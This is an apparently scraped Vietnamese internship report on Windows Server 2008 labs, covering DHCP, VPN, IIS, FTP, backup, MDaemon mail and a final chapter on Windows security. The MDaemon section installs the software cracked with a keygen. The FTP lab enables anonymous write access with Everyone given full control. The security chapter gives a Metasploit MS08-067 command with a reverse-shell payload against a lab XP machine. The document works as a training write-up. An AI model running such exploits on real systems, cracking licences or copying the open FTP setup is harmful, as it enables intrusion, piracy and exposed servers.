Hình 3.1.5
Bấm Fisnish để kết thúc
3.2 Thay đổi options của Scope
- Xổ scope cần thao tác và chuột phải scope optionsConfigure Options.
- Hộp thoại Scope Options hiện ra, ở trường Available Options là những thuộc
tính sẵn sàng mà chúng ta có thể thay đổi với những thuộc tính đã stick là những
thuộc tính đã được cấu hìnhtrước đó.
- Chúng ta sẽ thử cấu hình default gateway lại cho scope này, chọn Router.
Router Options hiện ta cho chúng ta thêm xóa và edit với những thuộc tính khác
cũng vậy
50
Hình 3.1.6
Kiểm tra bằng cách vào win xp và để ip tự cấp
.
51
CHƯƠNG 8: TRIỂN KHAI VPN
I. Tìm hiểu VPN
Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức
có xu hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc
hay toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết
kiệm được được chi phí và thời gian
Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn
phòng chính), các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối
(như 'Văn phòng' tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ
bên ngoài.
1. Khái niệm.
Mạng riêng ảo hay VPN (Virtual Private Network) là một mạng dành
riêng để kết nối các máy tính lại với nhau thông qua mạng Internet công cộng.
Những máy tính tham gia mạng riêng ảo sẽ "nhìn thấy nhau" như trong một mạng
nội bộ - LAN (Local Area Network).
Internet là một môi trường công cộng, việc chia sẻ dữ liệu có tính riêng tư
thông qua Internet là cực kỳ nguy hiểm vì những dữ liệu đó có thể dễ dàng bị rò
rỉ, bị ăn cắp... Mạng riêng ảo là giao thức trợ giúp việc kết nối các máy tính lại
với nhau thông qua một kênh truyền dẫn dữ liệu (tunel) riêng đã được mã hóa.
Mạng riêng ảo giúp bảo vệ dữ liệu trong khi chúng được truyền trên
Internet vì vậy mạng riêng ảo thường được ứng dụng trong các trường hợp sau:
Làm việc từ xa: Truy cập từ xa thông qua Internet vào mạng của công ty
để chia sẻ dữ liệu cũng như thực thi các ứng dụng nội bộ.
Kết nối nhiều mạng với nhau (Site-to-Site): Nếu công ty có nhiều văn
phòng, việc kết nối các mạng lại với nhau thành một mạng thống nhất sẽ đem lại
hiệu quả ấn tượng trong việc quản lý & chia sẻ thông tin.
Tạo phiên làm việc an toàn: Mạng riêng ảo là giải pháp tốt & với chi phí
thấp cho một số công việc đòi hỏi tính bảo mật cao như quản trị máy chủ,
website, cơ sở dữ liệu...
Nếu thường xuyên làm việc trên Internet & thông tin là tài sản vô giá, bạn
nên ứng dụng mạng riêng ảo vào công việc của mình.
2. Các loại VPN.
Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và
VPN điểm-nối-điểm (site-to-site)
52
VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là
một kết nối người dùng-đến-LAN, thường là nhu cầu của một tổ chức có nhiều
nhân viên cần liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ
như công ty muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ
doanh nghiệp (ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung
cấp cho những người sử dụng từ xa một phần mềm máy khách cho máy tính của
họ. Sau đó, người sử dụng có thể gọi một số miễn phí để liên hệ với NAS và
dùng phần mềm VPN máy khách để truy cập vào mạng riêng của công ty. Loại
VPN này cho phép các kết nối an toàn, có mật mã.
Hình minh họa cho thấy kết nối giữa Văn phòng chính và "Văn phòng" tại
gia hoặc nhân viên di động là loại VPN truy cập từ xa).
VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết
nối nhiều điểm cố định với nhau thông qua một mạng công cộng như Internet.
Loại này có thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một
công ty có vài địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có
thể tạo ra một VPN intranet (VPN nội bộ) để nối LAN với LAN.
Loại dựa trên Extranet: Khi một công ty có mối quan hệ mật thiết với một
công ty khác (ví dụ như đối tác cung cấp, khách hàng...), họ có thể xây dựng một
VPN extranet (VPN mở rộng) kết nối LAN với LAN để nhiều tổ chức khác nhau
có thể làm việc trên một môi trường chung.
Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ
xa là loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là
VPN Extranet.
3.Bảo mật trong VPN
Tường lửa (firewall) là rào chắn vững chắc giữa mạng riêng và Internet.
Bạn có thể thiết lập các tường lửa để hạn chế số lượng cổng mở, loại gói tin và
giao thức được chuyển qua. Một số sản phẩm dùng cho VPN như router 1700 của
Cisco có thể nâng cấp để gộp những tính năng của tường lửa bằng cách chạy hệ
điều hành Internet Cisco IOS thích hợp. Tốt nhất là hãy cài tường lửa thật tốt
trước khi thiết lập VPN.
Mật mã truy cập là khi một máy tính mã hóa dữ liệu và gửi nó tới một máy
tính khác thì chỉ có máy đó mới giải mã được. Có hai loại là mật mã riêng và mật
mã chung.
Mật mã riêng (Symmetric-Key Encryption): Mỗi máy tính đều có một mã
bí mật để mã hóa gói tin trước khi gửi tới máy tính khác trong mạng. Mã riêng
yêu cầu bạn phải biết mình đang liên hệ với những máy tính nào để có thể cài mã
lên đó, để máy tính của người nhận có thể giải mã được.
53
Mật mã chung (Public-Key Encryption) kết hợp mã riêng và một mã công
cộng. Mã riêng này chỉ có máy của bạn nhận biết, còn mã chung thì do máy của
bạn cấp cho bất kỳ máy nào muốn liên hệ (một cách an toàn) với nó. Để giải mã
một message, máy tính phải dùng mã chung được máy tính nguồn cung cấp, đồng
thời cần đến mã riêng của nó nữa. Có một ứng dụng loại này được dùng rất phổ
biến là Pretty Good Privacy (PGP), cho phép bạn mã hóa hầu như bất cứ thứ gì.
Giao thức bảo mật giao thức Internet (IPSec) cung cấp những tính năng an
ninh cao cấp như các thuật toán mã hóa tốt hơn, quá trình thẩm định quyền đăng
nhập toàn diện hơn.
IPSec có hai cơ chế mã hóa là Tunnel và Transport. Tunnel mã hóa tiêu đề
(header) và kích thước của mỗi gói tin còn Transport chỉ mã hóa kích thước. Chỉ
những hệ thống nào hỗ trợ IPSec mới có thể tận dụng được giao thức này. Ngoài
ra, tất cả các thiết bị phải sử dụng một mã khóa chung và các tường lửa trên mỗi
hệ thống phải có các thiết lập bảo mật giống nhau. IPSec có thể mã hóa dữ liệu
giữa nhiều thiết bị khác nhau như router với router, firewall với router, PC với
router, PC với máy chủ.
Máy chủ AAA là viết tắt của ba chữ Authentication (thẩm định quyền truy
cập), Authorization (cho phép) và Accounting (kiểm soát). Các server này được
dùng để đảm bảo truy cập an toàn hơn. Khi yêu cầu thiết lập một kết nối được gửi
tới từ máy khách, nó sẽ phải qua máy chủ AAA để kiểm tra. Các thông tin về
những hoạt động của người sử dụng là hết sức cần thiết để theo dõi vì mục đích
an toàn.
4.Sản phẩm công nghệ dành cho VPN
Tùy vào loại VPN (truy cập từ xa hay điểm-nối-điểm), bạn sẽ cần phải cài
đặt những bộ phận hợp thành nào đó để thiết lập mạng riêng ảo. Đó có thể là:
- Phần mềm cho desktop của máy khách dành cho người sử dụng từ xa.
- Phần cứng cao cấp như bộ xử lý trung tâm VPN hoặc firewall bảo mật
PIX.
- Server VPN cao cấp dành cho dịch vụ Dial-up.
- NAS (máy chủ truy cập mạng) do nhà cung cấp sử dụng để phục vụ
người sử dụng từ xa.
- Mạng VPN và trung tâm quản lý.
54
5. Bộ xử lý trung tâm VPN
Có nhiều loại máy xử lý VPN của các hãng khác nhau, nhưng sản phẩm
của Cisco tỏ ra vượt trội ở một số tính năng. Tích hợp các kỹ thuật mã hóa và
thẩm định quyền truy cập cao cấp nhất hiện nay, máy xử lý VPN được thiết kế
chuyên biệt cho loại mạng này. Chúng chứa các module xử lý mã hóa SEP, cho
phép người sử dụng dễ dàng tăng dung lượng và số lượng gói tin truyền tải. Dòng
sản phẩm có các model thích hợp cho các mô hình doanh nghiệp từ nhỏ đến lớn
(từ100 cho đến 10.000 điểm kết nối từ xa truy cập cùng lúc).
6. Router dùng cho VPN
Thiết bị này cung cấp các tính năng truyền dẫn, bảo mật. Dựa trên hệ điều
hành Internet IOS của mình, hãng Cisco phát triển loại router thích hợp cho mọi
trường hợp, từ truy cập nhà-tới-văn phòng cho đến nhu cầu của các doanh nghiệp
quy mô lớn.
7. Tường lửa PIX của Cisco
Firewall trao đổi Internet riêng (Private Internet Exchange) bao gồm một
cơ chế dịch địa chỉ mạng rất mạnh, máy chủ proxy, bộ lọc gói tin, các tính năng
VPN và chặn truy cập bất hợp pháp.
Thay vì dùng IOS, thiết bị này có hệ điều hành với khả năng tổ chức cao,
xoay sở được với nhiều giao thức, hoạt động rất mạnh bằng cách tập trung vào
IP.
II.VPN SITE TO SITE
1. chuẩn bị:
- 2 windows server 2008
-2 windows XP
+ máy XP1 windows XP co ip 10.0.0.2 máy này sẻ ping thông với server1 là
windows server 2008 có địa chỉ ip là 10.0.0.1.
+ máy XP2 windows XP co ip 172.16.1.2 máy này sẻ ping thông với server2 là
windows server 2008 có địa chỉ ip là 172.16.1.1.
2. Đặt IP cho 4 máy
Card Lan Card Cross
Server 1 10.0.0.1/24 192.168.1.1/24
Server 2 172.16.1.1/24 192.168.1.2/24
XP1 10.0.0.2/24
55
XP2 172.16.1.2/24
Tạo user saigon trên máy server 1. Tạo user hanoi trên máy server 2
3. Tiến hành cấu hình trên 2 server.
Chọn properties ->chọn tab dial – in -> check chọn allow access
Hình 3.1
Hình 3.2
56
Trên máy server1
Vào server manager ->add roles
Hình 3.3
Chọn network policy and access services -> next
Hình 3.4
57
Chọn routing and remote access services -> next-> install
Hình 3.5
Như vậy là đã cài xong giờ đi cấu hình
58
Hình 3.6
Vào start -> administrative ->routing and remote access ->Chọn server -> click
phải configure
Hình 3.7
Chọn Custom configuration -> next
59
Hình 3.8
Chọn VPN access + Demand – dial connections + Lan routing -> next
Hình 3.9
Chọn start service
60
Hình 3.10
Chọn tab Network interface -> click phải chọn new demand-dial interface
Hình 3.11
Nhập interface name : saigon -> next
61
Hình 3.12
Check connect using vitual private networking (VPN) ->next
Hình 3.13
Check chọn point to point -> next
62
Hình 3.14
Nhập địa chỉ ip card CROSS của máy server2 -> next
Hình 3.15
Check chọn route ip + adda user account
63
Hình 3.16
Add static route 172.16.2.0 (đường mạng LAN của máy server2) -> next
Hình 3.17
Nhập password của user saigon mình đã tạo ban đầu -> next
64
Hình 3.18
Nhập user name :hanoi .Password của user hanoi mình đã tạo ban đầu -> next
Hình 3.19
Chọn properties server
65
Hình 3.20
Chọn tab IPv4 và add vào chuỗi địa chỉ ip sẽ nhận khi connect vào
Hình 3.20
Apply + OK
66
Hình 3.21
Sau đó ta cấu hình cho server 2 tương tự như server 1 user là hanoi
Hình 3.22
Khi 2 server cấu hình xong thì ta
67
Click phải network interface saigon ở server1 -> chọn connect
Hình 3.22
Click phải network interface hanoi ở server2 -> chọn connect
hình 3.23
4. Kiểm tra.
Lúc này từ PC1 sẻ ping thông qua PC4.
68
Hình 3.24
V. IIS 7.0:
1. Giới thiệuvề IIS:
IIS là viết tắt của từ (Internet Information Services ), được đính kèm với các
phiên bản của Windows. IIS chính là các dịch vụ dành cho máy chủ chạy trên nền hệ
69
điều hành Window nhằm cung cấp và phân tán các thông tin lên mạng, nó bao gồm
nhiều dịch vụ khác nhau như Web Server, FTP Server…
2. Những điểm mới trên IIS 7.0:
Hầu hết mọi thứ trong IIS 7.0 đều là mới. Microsoft đã tập trung vào việc
modul hóa khi xây dựng IIS 7.0, điều đó đã giảm thiểu được bề mặt tấn công của web
server.
Một ví dụ cho vấn đề này: Nếu bạn cần một FTP Server hoặc tính năng Cache trong
IIS thì phải cài đặt các FTP Server hoặc Cache để quản lý và kích hoạt hành động lưu
trữ (cache) hoặc FTP Server.
Windows Server 2008 sẽ gồm có tất cả các tính năng cần thiết của IIS hỗ trợ cho việc
cấu hình Web trong các môi trường sản xuất. Windows Vista chỉ có một số tính năng
của IIS và các tính năng này phụ thuộc vào phiên bản Windows Vista. IIS 7.0 trong
Windows Vista là một cách xử lý cho việc xây dựng và kiểm tra các ứng dụng web
của bạn. Các modul được bổ sung và tính năng thêm vào sẽ được cung cấp từ
Microsoft hoặc bạn có thể tự viết mã, thậm chí có thể mua từ một hãng phần mềm thứ
ba nào đó.
3. Cài đặt IIS:
- Click server Manager-> add role. Trong của sổ Before you begin ta để mặc
định rồi chọn Next.
Hình 3.1
- Trong cửa sổ Select Server Roles check Web Server (IIS)
70
Hinh 3.2
- Sau đó ta tiếp tục để mặc định -> Next
Hình 3.3
- Click install
71
Hình 3.4
- Chọn Close.
Hình 3.5
72
4. Cấu hình IIS:
- Clich Server Manager -> Configure IE ESC-> off-> OK.
Hình 4.1
- Vào ổ C-> inetpub->wwwrot-> tạo file txt trangchu.htm và ghi nội dung.
Hình 4.2
73
- Vào Start-> Administrative Tools-> Internet Information Services ( IIS)
Manager
Hình 4.3
- Click chuột phải vào Sites chọn New Site và cấu hình.
Hình 4.4
74
- Ta Click chuột phải vào Default Web Site chọn Stop.
Hình 4.5
- Trong server chọn Default Document và add trangchu.htm vào.
Hình 4.6
- Ta kiểm tra bằng cách vào IE gõ 192.168.1.1
75
Hình 4.7
- Ta vào DNS tạo thêm new Alias để có thể truy cập web bằng tên miền.
Hình 4.8
- Ta vào IE trỏ đường dẫn http://www.ethena.edu.vn
VI. FTP:
1. FTP là gì?
FTP là chữ viết tắt của File Transfer Protocol (Giao thức chuyển nhượng tập
tin), đây là một giao thức giúp bạn dễ dàng trao đổi các dữ liệu giữa máy tính của
bạn với host và ngược lại. Tại FTP, bạn sẽ có quyền quản lý toàn bộ các dữ liệu dạng
tập tin và thư mục có trên host ngoại trừ database. Tất cả các gói host bạn mua có hỗ
trợ control panel cPanel, DirectAdmin,…đều hỗ trợ sẵn FTP qua cổng kết nối 21.
2. Cài đặt FTP:
Đầu tiên ta vào Server Manager chọn add roles-> Next -> Chọn Web
Server(IIS)-> Next
76
Hình 2.1
Ở cửa sổ Select Role Services ta chọn FTP Server -> Next
Hình 2.2
Chọn Install để bắt đầu quá trình cài đặt.
77
Hình 2.3
Chọn Close để hoàn tất quá trình cài đặt.
Hình 2.4
78
3. Cấu hình FTP:
Đầu tiên ta vào ổ C tạo thư mục FTP và các file để share
Hình 3.1
Ta cấp quyền cho thư mục FTP share full control cho everyone
Hình 3.2
79
Ta vào Start -> Administrative Tools -> Internet Information Services (IIS)
Manager.
Hình 3.3
Click chuột phải vào SERVER chọn Add FTP Site..
Hình 3.4
80
Ta đặt Site name cho FTP và trỏ đường dẫn đến thư mục FTP vừa tạo trong ổ C.
Hình 3.5
Ta chọn IP address và No SSL -> Next.
Hình 3.6
81
Ta check vào Anonymous , Basic, Read, Write và chọn all users -> Finish.
Hình 3.7
Sau đó ta Stop trang web Default và restart lại trang Athena.
Hình 3.8
Kiểm tra bằng cách ta vào IE và gõ FTP:/192.168.1.1
Hình 3.9
82
CHƯƠNG 8: BACKUP & RESTORE
1. Cài đặt:
Vào Server Manager ->Featires -> Add Features -> bung Windows Server Backup
Features-> Check Windows Server Backup-> Next.
Hình 1.1
Trong cửa sổ Confirm Installation Selections ta chọn Install.
83
Hình 1.2
Sau khi cài đặt hoàn tất ta đóng cửa sổ lại.
Hình 1.3
2. Back up:
Vào Start -> Administrative Tools-> Windows Server Backup.
84
Hình 2.1
Vào Action -> chọn Backup Once… Cửa sổ Backup options, chọn Different
options-> Next.
Hình 2.2
Chọn Full Server-> Next.
85
Hình 2.3
Tại Backup destination chọn ổ đĩa lưu file backup ở đây mình chọn ổ E -> Next.
Hình 2.4
Chọn backup để bắt đầu.
86
Hình 2.5
Ta chờ đợi backup..
87
Hình 2.6
Sau khi backup hoàn tất ta vào ổ đĩa E sẽ thấy file backup được tạo.
Hình 2.7
88
3. Restore:
Đầu tiên ta vào ổ C xoá thư mục FTP (Giả sử server mất dữ liệu).
Hình 3.1
Vào Start -> Administrative Tools -> WindowsServerBackup-> Chọn Action->
Recovery-> chọn this server -> Next.
Hình 3.2
89
Next.
Hình 3.3
Chọn dữ liệu mình muồn restore lại -> next
Hình 3.4
90
Click recover để bắt đầu
Hình 3.5
Sau khi recover hoàn tất ta vào ổ C kiểm tra thấy thư mục FTP đã được khôi
phục.
Hình 3.6
91
CHƯƠNG 9: MAIL TRÊN VPS.
I. Cài đặt MDmoon v10.
Các bước cài đặt đã hướng dẫn trên localhost.
II. Cấu hình MDmoon v10.
1.Đăng ký Domain
Hình1.1
Ta truy cập vào dot.tk để đăng ký domain
Sau khi chọn xong domain ta click GO.Click vào sử dụng DNS, chọn tab Dịch
Vụ DNS của Dot.tk, nhập
IP của VPS vào 2 hàng địa chỉ Ip
Sau đó chọn thời gian duy trì domain
Hình 1.2
92
Nhập ký tự để xác nhận là người sử dụng chứ không phải robot, rồi click : ĐĂNG
Ký
Hình 1.3
Lựa chọn tài khoản quản lý tên miền:
93
Hình 1.4
Click “Đăng nhập vào My Dot” để tùy chỉnh các thông số cho domain
Hình 1.5
Sau khi đăng nhập vào my.dot.tk. Ta click vào Go to domain hoặc Domain panel
để vào danh sách các domain đã đăng ký.
Lựa chọn domain cần đăng lý sau đó click Modify:
Cuối cùng là Save Changes.
94
2.Mail Server Mdaemon
Định Nghĩa:
Mail Server là một máy chủ cung cấp dịch vụ viết gửi và nhận thư trên
internet.
Để tạo 1 mail server thì có nhiều phần mềm , nhưng nổi tiếng nhất đó là
Mdaemon.
Các bước chuẩn bị:
1VPS làm Mail Server
Phần mềm Mdaemon bản pro
1 Domain đã add record (MX record).
Tiến hành:
Trên máy VPS ta cài Mdaemon và crack thành bản pro (vì bản pro mới cho phép
gởi và nhận mail từ các dịch vụ mail khác, con bản free chỉ cho gởi mail nội bộ)
Cách cài Mdaemon Pro:
Ta chạy file setup MDv10.exe
Hình 2.1
Điền Lience name : hoang(tùy chọn)
Company name: Tên Công Ty
Registration Key: Ta lấy trong keygen ở thư mục crack
95
Hình 2.2
Hình 2.3
Copy dãy chữ số này paste vào Registration Key Sau khi paste key vào ta click
Next.Lưu ý không check vào Install the Limited.Đợi quá trình cài đặt hoàn tất
Hình 2.4
96
Điền domain (mà ta đã đang ký ở dot.tk lúc nãy vào) Domain name
Hình 2.5
Điền vào tên và địa chỉ mail cũng như mật khẩu cho tài khoảng admin
Hình 2.6
Điền vào IP của VPS :
97
Hình 2.7
Click Next
Hình 2.8
Click finish để hoàn tất quá trình cài đặt.
98
Hình 2.9
Ta khỏi động Mdaemon lên rồi tạo User mail
Hình 2.10
Để bỏ giới hạn password->account->account setting>bỏ check requite strong pw
99
Hình 2.11
Ta vào Account>>New Account để tạo users
Hình 2.12
100
Ta tạo User tk1:
Hình 2.13
User tk2:
Hình 2.14
101
Xem cấu hình các tài khoản:vào account>edit account
Hình 2.15
Test Trong IE gõ địa chỉ http://192.168.1.1:3000
Hình 2.16
102
Đăng nhập tài khoản tk1
Hình 2.17
Trên mail server ta dùng tài khoản tk1 gửi mail cho tài khoản tk2.
Hình 2.18
103
Đăng xuất và đăng nhập tương tự vào tài khoản tk2
Hình 2.20
Ta sẽ thấy được tin nhắn từ tài khoản tk1
Kết thúc mail mdeamon.
104
CHƯƠNG 10: BẢO MẬT WINDOWS.
I.Khai thác lỗ hổng trên Windows XP với mã lỗi MS08_067
Chuẩn bị 2 máy ảo: Windows XP (nạn nhân) và máy Back Track 5r3 (máy tấn
công nạn nhân)
Trên máy Back Track cấu hình địa chỉ IP trong bài lab này cho máy là:
192.168.154.128
Các bước thực hiện:
Kiểm tra mạng giữa XP và máy Back Track 5r3:
Máy Back Track 5r3:
Máy Xp:
Kiểm tra thông mạng:
105
Trên máy Back track ta gõ đường dẫn:
cd /pentest/exploits/framework
Ta tiếp tục gõ lệnh:
./msfcli windows/smb/ms08_067_netapi RHOST=192.168.154.129
LHOST=192.168.154.128 PAYLOAD=windows/shell/reverse_tcp
106
Trong đó RHOST là IP máy Xp, LHOST là IP máy Back track 5r3.
Sau đó, ta chờ cho máy Back track 5r3 tấn công Xp
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang
Baocao pham nguyendanghoang

More Related Content

What's hot

Báo Cáo Thực Tập Thiết Kế Wedsite Bằng Joomla
Báo Cáo Thực Tập Thiết Kế Wedsite Bằng JoomlaBáo Cáo Thực Tập Thiết Kế Wedsite Bằng Joomla
Báo Cáo Thực Tập Thiết Kế Wedsite Bằng JoomlaNgoc Son
 
Báo cáo cuối kì
Báo cáo cuối kì Báo cáo cuối kì
Báo cáo cuối kì Hà Tiên Nhi
 
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minh
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minhBáo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minh
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minhnataliej4
 
Bao cao cuoi ki_ Nguyen Dang Van
Bao cao cuoi ki_ Nguyen Dang VanBao cao cuoi ki_ Nguyen Dang Van
Bao cao cuoi ki_ Nguyen Dang VanNguyễn Vân
 
Báo cáo thực tập công ty ATHENA.
Báo cáo thực tập công ty ATHENA.Báo cáo thực tập công ty ATHENA.
Báo cáo thực tập công ty ATHENA.Tân Duy
 
Trieu van phubaocao
Trieu van phubaocaoTrieu van phubaocao
Trieu van phubaocaohoainhan1501
 
Bao cao thuc tap athena - Phạm Thành Phước
Bao cao thuc tap athena - Phạm Thành PhướcBao cao thuc tap athena - Phạm Thành Phước
Bao cao thuc tap athena - Phạm Thành Phướcthanhphuocbt
 
Cẩm nang hướng dẫn làm bài thi vstep
Cẩm nang hướng dẫn làm bài thi vstepCẩm nang hướng dẫn làm bài thi vstep
Cẩm nang hướng dẫn làm bài thi vstepDương Hoàng Nhơn
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athenaLe Chuong
 
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng JoomlaBáo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng JoomlaNguyễn Tân
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athenaChelsea Phuoc
 
Bao cao thuc tap Athena - An Huy
Bao cao thuc tap Athena - An HuyBao cao thuc tap Athena - An Huy
Bao cao thuc tap Athena - An HuyHuy An
 
Báo cáo cuối kỳ
Báo cáo cuối kỳBáo cáo cuối kỳ
Báo cáo cuối kỳcabietbay
 
Xây dựng ứng dụng hỗ trợ học tiếng anh trên thiết bị android
Xây dựng ứng dụng hỗ trợ học tiếng anh trên thiết bị androidXây dựng ứng dụng hỗ trợ học tiếng anh trên thiết bị android
Xây dựng ứng dụng hỗ trợ học tiếng anh trên thiết bị androidTrần Võ Khôi Nguyên
 

What's hot (20)

Báo Cáo Thực Tập Thiết Kế Wedsite Bằng Joomla
Báo Cáo Thực Tập Thiết Kế Wedsite Bằng JoomlaBáo Cáo Thực Tập Thiết Kế Wedsite Bằng Joomla
Báo Cáo Thực Tập Thiết Kế Wedsite Bằng Joomla
 
đồ áN
đồ áNđồ áN
đồ áN
 
Đồ Án
Đồ ÁnĐồ Án
Đồ Án
 
bao cao cuoi ki
bao cao cuoi kibao cao cuoi ki
bao cao cuoi ki
 
Báo cáo cuối kì
Báo cáo cuối kì Báo cáo cuối kì
Báo cáo cuối kì
 
Bao caothuctap nguyenthanhlam
Bao caothuctap nguyenthanhlamBao caothuctap nguyenthanhlam
Bao caothuctap nguyenthanhlam
 
Đề tài: Nghiên cứu và triển khai hệ thống Windown Server 2012
Đề tài: Nghiên cứu và triển khai hệ thống Windown Server 2012Đề tài: Nghiên cứu và triển khai hệ thống Windown Server 2012
Đề tài: Nghiên cứu và triển khai hệ thống Windown Server 2012
 
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minh
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minhBáo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minh
Báo cáo đồ án tôt nghiệp: Xây dựng Website bán hàng thông minh
 
Bao cao cuoi ki_ Nguyen Dang Van
Bao cao cuoi ki_ Nguyen Dang VanBao cao cuoi ki_ Nguyen Dang Van
Bao cao cuoi ki_ Nguyen Dang Van
 
Báo cáo thực tập công ty ATHENA.
Báo cáo thực tập công ty ATHENA.Báo cáo thực tập công ty ATHENA.
Báo cáo thực tập công ty ATHENA.
 
Trieu van phubaocao
Trieu van phubaocaoTrieu van phubaocao
Trieu van phubaocao
 
Bao cao thuc tap athena - Phạm Thành Phước
Bao cao thuc tap athena - Phạm Thành PhướcBao cao thuc tap athena - Phạm Thành Phước
Bao cao thuc tap athena - Phạm Thành Phước
 
Bao cao cuoi khoa
Bao cao cuoi khoaBao cao cuoi khoa
Bao cao cuoi khoa
 
Cẩm nang hướng dẫn làm bài thi vstep
Cẩm nang hướng dẫn làm bài thi vstepCẩm nang hướng dẫn làm bài thi vstep
Cẩm nang hướng dẫn làm bài thi vstep
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athena
 
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng JoomlaBáo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athena
 
Bao cao thuc tap Athena - An Huy
Bao cao thuc tap Athena - An HuyBao cao thuc tap Athena - An Huy
Bao cao thuc tap Athena - An Huy
 
Báo cáo cuối kỳ
Báo cáo cuối kỳBáo cáo cuối kỳ
Báo cáo cuối kỳ
 
Xây dựng ứng dụng hỗ trợ học tiếng anh trên thiết bị android
Xây dựng ứng dụng hỗ trợ học tiếng anh trên thiết bị androidXây dựng ứng dụng hỗ trợ học tiếng anh trên thiết bị android
Xây dựng ứng dụng hỗ trợ học tiếng anh trên thiết bị android
 

Similar to Baocao pham nguyendanghoang

Report ver1-140815234705-phpapp01
Report ver1-140815234705-phpapp01Report ver1-140815234705-phpapp01
Report ver1-140815234705-phpapp01bosua94
 
Báo cáo thực tập cuối kỳ Nguyễn Minh Chương
Báo cáo thực tập cuối kỳ   Nguyễn Minh ChươngBáo cáo thực tập cuối kỳ   Nguyễn Minh Chương
Báo cáo thực tập cuối kỳ Nguyễn Minh Chươngmasternokizep
 
Báo Cáo Thực Tập Cuối Kỳ Athena - Nguyễn Minh Chương
Báo Cáo Thực Tập Cuối Kỳ Athena - Nguyễn Minh ChươngBáo Cáo Thực Tập Cuối Kỳ Athena - Nguyễn Minh Chương
Báo Cáo Thực Tập Cuối Kỳ Athena - Nguyễn Minh Chươngmasternokizep
 
nghiên cứu và triển khai các dịch vụ mạng windows server 2008
nghiên cứu và triển khai các dịch vụ mạng windows server 2008nghiên cứu và triển khai các dịch vụ mạng windows server 2008
nghiên cứu và triển khai các dịch vụ mạng windows server 2008Khanh Dinh
 
Bao cao gk
Bao cao gkBao cao gk
Bao cao gkice_eyes
 
Bao cao giua ky
Bao cao giua kyBao cao giua ky
Bao cao giua kyice_eyes
 
Bao cao gk
Bao cao gkBao cao gk
Bao cao gkice_eyes
 
Nguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapNguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapThu Hien
 
Bao cao thuc tap
Bao cao thuc tapBao cao thuc tap
Bao cao thuc tapLeo Aurico
 
Bao cao Cuoi Ky File Word
Bao cao Cuoi Ky File WordBao cao Cuoi Ky File Word
Bao cao Cuoi Ky File WordDuy Nguyen
 
Bao cao ck update lan 1
Bao cao ck update lan 1Bao cao ck update lan 1
Bao cao ck update lan 1Duy Nguyen
 
baocaonguyenduykhanh
baocaonguyenduykhanhbaocaonguyenduykhanh
baocaonguyenduykhanhvanphu2103
 
Hoạt động của logistics của các doanh nghiệp logistics Việt Nam
Hoạt động của logistics của các doanh nghiệp logistics Việt NamHoạt động của logistics của các doanh nghiệp logistics Việt Nam
Hoạt động của logistics của các doanh nghiệp logistics Việt NamDịch vụ Làm Luận Văn 0936885877
 
Đề tài: Hoạt động logistics 3PL của các doanh nghiệp, 9 ĐIỂM!
Đề tài: Hoạt động logistics 3PL của các doanh nghiệp, 9 ĐIỂM!Đề tài: Hoạt động logistics 3PL của các doanh nghiệp, 9 ĐIỂM!
Đề tài: Hoạt động logistics 3PL của các doanh nghiệp, 9 ĐIỂM!Viết thuê trọn gói ZALO 0934573149
 

Similar to Baocao pham nguyendanghoang (20)

Report ver1-140815234705-phpapp01
Report ver1-140815234705-phpapp01Report ver1-140815234705-phpapp01
Report ver1-140815234705-phpapp01
 
Báo cáo thực tập cuối kỳ Nguyễn Minh Chương
Báo cáo thực tập cuối kỳ   Nguyễn Minh ChươngBáo cáo thực tập cuối kỳ   Nguyễn Minh Chương
Báo cáo thực tập cuối kỳ Nguyễn Minh Chương
 
Báo Cáo Thực Tập Cuối Kỳ Athena - Nguyễn Minh Chương
